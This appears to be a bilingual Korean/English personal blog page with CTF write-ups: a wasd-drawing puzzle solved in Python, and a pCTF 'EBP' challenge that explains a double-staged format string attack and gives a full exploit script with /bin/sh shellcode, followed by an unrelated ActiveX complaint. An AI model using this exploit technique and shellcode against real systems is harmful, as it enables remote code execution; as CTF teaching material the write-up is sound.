다음과 같은 암호(?)가 주어집니다.

We are given the following ciphertext(?).


처음에 보고 약간 멘붕에 빠졌던 문제.

A little confused after peeking at the problem.

수많은 wasd와 간혹 있는 e를 보고 제목의 의미를 알겠더군요.

A lot of "wasd"s and a few "e" made the name of the question clear. Nice!

wasd를 보니 키보드가 생각이 나서 w는 상, s는 하, a는 좌, d는 우 일 것 같다는 생각이 났어요.

I thought of the keyboard where w is up, s is down, a is left, d is right.

그래서 파이썬으로 그려봤습니다. 그런데 이상한 그림이 나오더군요.

So I drew it with python. But a little bizzare image came out.

import Image
s = open('sawed.txt', 'rt').read()

new = Image.new('RGB', (5000,5000),'white')

x = 2500
y = 2500
for i in s:
	if i=='d':
		x += 1
	elif i=='s':
		y += 1
	elif i=='a':
		x -= 1
	elif i=='w':
		y -= 1
	new.putpixel((x,y), (0,0,0))
new.show()

정체를 알 수가 없어서 PWNIOC>TPS7 등 여러 가지를 시도해보았으나 fail..

Couldn't understand what it said, so I tried a couple of things like PWNIOC>TPS7 but all failed..

그래서 admin에게 마지막 글자가 1인지 7인지 물어봤는데 둘 다 아니라고 하더군요.

So I asked admin whether the last character is 1 or 7, but he replied it is neither.

그리고 모두 대문자인지 물어보니, e를 무시하지말라고 하셨어요.

And I asked them if they're all big letters, and he said "don't ignore the significance of e".

그래서 팀원들에게 뭘지 막 물어보다가, e는 일종의 스위치 역할을 한다는 것을 알아냈습니다.

So I bothered my teammates asking about e, and found out that it acts like a kind of switch.

즉, 처음에 e가 나오면 그리는 것을 멈추고 커서만 이동합니다. 그리고 다시 e가 나오면 그리기 시작하고요.

That is, when you meet e for the first time, you stop drawing and just move cursor. And when you meet e again, you start drawing.

그렇게 그림을 그리니 다음과 같이 깔끔하게 글자가 나오는 것을 확인했습니다.

So I drew like that and nice and clear image came out.

import Image
s = open('sawed.txt', 'rt').read()

new = Image.new('RGB', (5000,5000),'white')

x = 2500
y = 2500
ignore = False
for i in s:
	if i=='e':
		ignore = not ignore
	if i=='d':
		x += 1
	elif i=='s':
		y += 1
	elif i=='a':
		x -= 1
	elif i=='w':
		y -= 1
	if not ignore:new.putpixel((x,y), (0,0,0))
new.show()


Flag: PWNING>FPS!

먼저 대회에 대해 잡담을 하자면 왜 하필 pCTF는 매번 시험기간에 열리는지 모르겠네요ㅠㅠ

이번엔 운이 좋아서 시험이 첫 날에 끝나서 혼자 참가할 수 있었네요..


EBP 문제에서는 다음과 같은 바이너리가 주어집니다.

We are given a binary below:

ebp_a96f7231ab81e1b0d7fe24d660def25a.elf


바이너리가 하는 일은 간단합니다. fgets로 전역변수 buf에 1024글자까지 입력을 받아 echo()를 통해 response를 만들고, 출력해줍니다.

What the binary does is simple. It takes input through fgets up to 1024 characters, make response and print it inside echo().

hex-ray를 통해 열어보면 취약점을 금방 발견할 수 있는데요. make_response 함수에서 Format String Bug 취약점이 존재합니다.

We can easily find the vulnerability through hex-ray. In the function make_response(), there exists a Format String Bug vulnerability.

하지만 일반 FSB와는 다르게 buf가 스택에 존재하지 않아서 스택의 값을 변경할 수 없습니다. 이 때, Double Staged FSB라는 기법을 사용해서, 이미 스택에 존재하는 값을 이용해 원하는 주소를 스택에 만들고, 만들어진 주소를 이용해 원하는 주소의 값을 조작할 수 있습니다. (참고: http://pwn3r.tistory.com/entry/Docs-Double-Staged-Format-String-Attack)

However, unlike the usual FSB, buf does not exist on stack so we cannot change any value from stack. In situation like this, we can use a technique called "Double Staged FSB" to forge an existing value on a stack, and use that value to eventually forge an address we want. (Reference: http://pwn3r.tistory.com/entry/Docs-Double-Staged-Format-String-Attack)

그럼 한번 GDB를 통해 snprintf가 호출되기 직전의 stack 상황을 확인해봅시다.

Let's check the stack before calling snprintf() using GDB.

현재 함수의 EBP는 0xffffd538입니다. 0xffffd538에 있는 0xffffd558(이전 함수의 EBP)을 이용해서 이 주소의 값을 전 함수의 return address를 가리키는 주소(0xffffd55c)로 바꾸면 0xffffd55c의 값을 조작할 수 있게 됩니다.

Current EBP is 0xffffd538. Using this, we can overwrite the value on 0xffffd558, which is currently 0xffffd578, with 0xffffd55c, the pointer to return address from previous function, then using 0xffffd55c on the stack, we can change the value on 0xffffd55c, which is currently 0x8048557, to something else.


공격 방법을 도식화하자면 다음과 같습니다.

To visualize the attack procedure:

1. 현재 함수의 EBP를 이용해 전 함수의 EBP를 0xffffd55c로바꾸기

1. Overwrite the value of previous EBP with 0xffffd55c using current EBP

2. 바뀐 주소를 이용해 0xffffd55c(return address를 가리키는 주소) 바꾸기

2. Using the forged 0xffffd55c(pointing to return address), overwrite the return address


그럼 이제 %x를 몇 번을 해야 EBP의 값이 출력되는지 확인합시다.

Now let's check how many %x we need to fetch current EBP.

%4$x에 EBP값이 출력되네요. 그러면 다음과 같이 payload를 구상할 수 있습니다.

1. %4$x로 이전함수의 EBP값을 알아냄 (예: 0xffffd558)

2. 위의 값에 +4를 해서 return address를 담는 주소를 구해서 %4$n으로 덮어씌움 (예: 0xffffd55c => %54260c%4$hn)

3. 원하는 return address로 %12$n


%4$x will do. Then let's plan our payload as follows:

1. Use %4$x to fetch previous EBP (e.g. 0xffffd558)

2. Add 4 to the above address to get a pointer to return address and overwrite it with %4$n (e.g. 0xffffd55c => %54260c%4$hn)

3. Overwrite return address with %12$n


memory map을 확인해보면 buf에 실행 권한이 있음을 확인할 수 있습니다. 따라서 buf에 shellcode를 넣은 뒤, return address를 buf의 주소로 바꿔주면 됩니다.

Checking the memory map, we can notice there is +x permission on buf. So put shellcode on buf, and overwrite return address with the address of buf.


최종 exploit 코드는 다음과 같습니다.

Final exploit code is as follows:

from socket import *
import struct
import telnetlib

s = socket(2,1)
s.connect(('52.6.64.173',4545))

s.send('%4$x\n')
t = s.recv(1024).rstrip()
t = int(t,16)+4 & 0xffff # add 4 to get return address

# first stage
payload = '%'+`t`+'c%4$hn\n'
s.send(payload) # overwrite previous EBP with pointer to return address

# second stage
s.recv(1024)
shellcode = '\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
payload = shellcode+'%'+`(0xa080-len(shellcode))`+'c%12$hn\n'
s.send(payload) # overwrite return address to buf
s.recv(1024)

tc = telnetlib.Telnet()  
tc.sock = s
tc.interact() 


Flag: who_needs_stack_control_anyway?

TEPS 접수를 하려고 사이트에 들어갔는데 크롬에서는 메뉴가 이상하게 떴다.

이 정도는 양반이었다. IE로 들어가서 회원가입하고 접수를 하려는데

1. 회원가입 시 본인인증할 때

2. 회원가입에 증명사진넣을 때

3. 응시료 결제할 때 3개

5개의 Active X를 설치했다.

근데 결제할 때 3개로 끝나지 않고 창 하나 누를 때마다 자꾸 설치하라고 나와서 결국 포기한다.ㅅㅂ


거지같은 Active X는 언제없어지나...

얼마 전에 뉴스에는 Active X 없어지고 exe로 바뀐다는데...어휴..

이래가지고 우리나라는 언제 IT강국이 될 수 있을까.

'Diary' 카테고리의 다른 글

BoB 4기 최종합격!!!  (2) 2015.06.26
고음주역테스트(高音厨音域テスト) 가사  (0) 2015.05.14
네팔 여행기 - Kailashnath Mahadev Statue in Sanga  (0) 2015.01.30
지식iN 폐인짓  (0) 2015.01.26
과 홈페이지 트래픽초과  (0) 2015.01.14

+ Recent posts